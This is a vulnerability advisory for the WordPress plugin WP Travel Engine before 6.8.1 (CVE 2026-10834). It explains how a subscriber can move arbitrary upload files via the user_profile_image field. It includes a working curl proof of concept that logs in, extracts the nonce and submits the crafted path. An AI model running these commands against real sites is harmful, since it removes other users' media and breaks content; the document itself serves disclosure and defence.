WP Travel Engine < 6.8.1 – Subscriber+ Arbitrary Media File Move via user_profile_image | CVE 2026-10834

Description

The plugin does not properly validate the source of a user-supplied profile image path before moving the file, allowing authenticated users with subscriber-level access and above to relocate arbitrary files within the WordPress uploads directory into their own profile-image path. This removes the targeted media from its original location and can break content across the site.

Proof of Concept

## Prerequisites / Environment Preparation

1. WP Travel Engine active.
2. A published page containing the [wp_travel_engine_dashboard] shortcode (the plugin's frontend account dashboard, e.g. "/my-account/").
3. A low-privileged user (Subscriber). Note its numeric user ID (USER_ID below; example uses 3).
4. A target media file that exists under wp-content/uploads (e.g. another user's uploaded image at /wp-content/uploads/2026/05/victim-media.jpg). The target file must have an image extension recognised by wp_check_filetype().

The attacker only needs subscriber-level access. The server-absolute path of the target file mirrors its public URL (uploads URL path appended to the uploads base directory).

## Steps

# 1. Log in as the low-privileged user, saving cookies
curl -s -c cookies.txt --data "log=subscriber&pwd=password&wp-submit=Log+In&redirect_to=https://TARGET/wp-admin/&testcookie=1" "https://TARGET/wp-login.php" -o /dev/null

# 2. Fetch the dashboard page and extract the account-details nonce
NONCE=$(curl -s -b cookies.txt "https://TARGET/my-account/" | grep -o 'name="wp_account_details_security" value="[^"]*"' | sed 's/.*value="//;s/"//')

# 3. Submit the account-update request, pointing user_profile_image at the
#    server-absolute path of the victim file (account_email must be the attacker's own email)
curl -s -b cookies.txt \
  --data-urlencode "action=wp_travel_engine_save_account_details" \
  --data-urlencode "wp_account_details_security=$NONCE" \
  --data-urlencode "account_first_name=Attacker" \
  --data-urlencode "account_last_name=User" \
  --data-urlencode "account_email=subscriber@example.com" \
  --data-urlencode "user_profile_image=/var/www/html/wp-content/uploads/2026/05/victim-media.jpg" \
  --data-urlencode "user_profile_image_url=https://TARGET/wp-content/uploads/2026/05/victim-media.jpg" \
  "https://TARGET/my-account/"

## Expected result

The victim file is moved out of its original location into the attacker's profile-image path:

- Before: https://TARGET/wp-content/uploads/2026/05/victim-media.jpg -> HTTP 200
- After:  https://TARGET/wp-content/uploads/2026/05/victim-media.jpg -> HTTP 404 (gone)
           https://TARGET/wp-content/uploads/wp-travel-engine/images/users/wte_users_USER_ID.jpg -> HTTP 200 (now serves the moved file)

The targeted media is no longer reachable at its original URL, breaking any post/page that referenced it.